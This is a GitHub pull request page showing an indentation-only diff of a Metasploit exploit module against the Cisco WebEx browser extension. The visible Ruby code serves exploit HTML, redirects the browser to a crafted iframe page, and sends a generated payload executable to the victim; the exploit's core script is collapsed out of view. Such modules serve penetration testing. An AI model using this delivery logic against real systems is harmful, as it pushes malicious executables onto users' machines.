Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Module indentation was wrong #19030

Merged
1 commit merged into from
Apr 1, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 29 additions & 29 deletions modules/exploits/windows/browser/cisco_webex_ext.rb
Original file line number Diff line number Diff line change
Expand Up @@ -44,17 +44,17 @@ def initialize(info={})
'DisclosureDate' => '2017-01-21',
'DefaultTarget' => 0
))
end
end

def setup
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
super
end
def setup
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
super
end

def exploit_html(cli, req_uri)
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
def exploit_html(cli, req_uri)
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
<html>
<head>
<script>
Expand Down Expand Up @@ -93,25 +93,25 @@ def exploit_html(cli, req_uri)
</html>
~

send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end

def on_request_uri(cli, request)
print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}")
def on_request_uri(cli, request)
print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}")

if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
print_status("Sending exploit html ...")
exploit_html(cli, request.uri)
close_client(cli)
return
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
print_status("Sending exploit html ...")
exploit_html(cli, request.uri)
close_client(cli)
return
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
<html>
<head>
<meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
Expand All @@ -120,8 +120,8 @@ def on_request_uri(cli, request)
</body>
</html>
~
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
close_client(cli)
end
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
close_client(cli)
end
end
end
Loading